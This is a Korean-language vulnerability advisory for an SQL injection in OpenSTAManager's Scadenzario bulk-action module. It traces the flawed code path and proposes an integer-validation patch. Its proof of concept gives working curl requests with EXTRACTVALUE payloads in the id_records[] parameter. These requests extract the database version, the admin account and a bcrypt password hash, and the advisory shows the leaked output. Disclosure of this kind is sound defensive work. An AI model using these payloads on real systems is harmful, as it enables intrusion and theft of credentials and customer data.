
CVE-2026-24418 - OpenSTAManager의 Scadenzario 일괄 작업 모듈에 SQL Injection 취약점이 있습니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-24418 |
| 심각도 | 높음 |
| 보안 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager v2.9.8의 Scadenzario(결제 일정) 일괄 작업 모듈에 존재하는 심각한 오류 기반 SQL 삽입 취약점으로 인해 인증된 공격자가 XML 오류 메시지를 통해 사용자 자격 증명, 고객 개인 식별 정보(PII), 금융 기록을 포함한 데이터베이스 전체 내용을 추출할 수 있습니다.
상태: ✅ 실제 인스턴스(v2.9.8)에서 확인 및 테스트 완료
취약 매개변수: id_records[] (POST 배열)
영향받는 엔드포인트: /actions.php?id_module=18 (Scadenzario 모듈)
공격 유형: 오류 기반 SQL 삽입(IN 절)
OpenSTAManager v2.9.8에는 Scadenzario(결제 일정) 모듈의 일괄 작업 처리기에 심각한 오류 기반 SQL 삽입 취약점이 존재합니다. 애플리케이션은 id_records 배열의 요소를 SQL IN() 절에 사용하기 전에 정수인지 검증하지 않으므로, 공격자가 임의의 SQL 명령을 주입하고 XPATH 오류 메시지를 통해 민감한 데이터를 추출할 수 있습니다.
취약점 체인:
진입점: /actions.php (503~506행)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
array_clean() 함수는 빈 값만 제거할 뿐 유형을 검증하지 않습니다.
취약 함수: /lib/util.php (54~60행)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
영향: 이 함수는 빈 값을 걸러내지만 SQL 삽입 페이로드를 포함한 비어 있지 않은 모든 값을 허용합니다.
SQL 삽입 지점: /modules/scadenzario/bulk.php (88행) 주요 취약점
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
영향: $id_records의 배열 요소는 유형 검증이나 prepare() 없이 implode()를 통해 SQL에 직접 연결되어 완전한 SQL 삽입이 가능합니다.
근본 원인 분석:
취약점은 다음 이유로 존재합니다:
post('id_records')가 사용자 제어 배열을 반환함array_clean()이 정수가 아닌 값은 제거하지 않고 빈 값만 제거함implode(',', $id_records)가 배열 요소를 SQL에 직접 연결함id_records[]=1&id_records[]=(MALICIOUS SQL)#를 제공하여 SQL을 주입할 수 있음영향받는 코드 경로:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
1단계: 로그인
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
2단계: 취약점 확인(오류 기반 SQL 삽입)
테스트 1: 데이터베이스 사용자 및 버전 추출
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
응답(공격자에게 노출되는 오류 메시지):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
테스트 2: 관리자 자격 증명 추출
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
응답:
<code>XPATH syntax error: '~admin:[email protected]'</code>
테스트 3: 비밀번호 해시 추출(1부 - 처음 31자)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
응답:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
테스트 4: 비밀번호 해시 추출(2부 - 32~60자)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
응답:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
결합된 비밀번호 해시:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Scadenzario(결제 일정) 모듈의 일괄 작업에 접근할 수 있는 모든 인증된 사용자.
권장 수정 방법:
1차 수정 - 유형 검증:
파일: /modules/scadenzario/bulk.php
수정 전(취약 - 88행):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
수정 후(패치됨):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Łukasz Rybak 발견
본 CVE는 조정된 취약점 공개 절차에 따라 책임 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.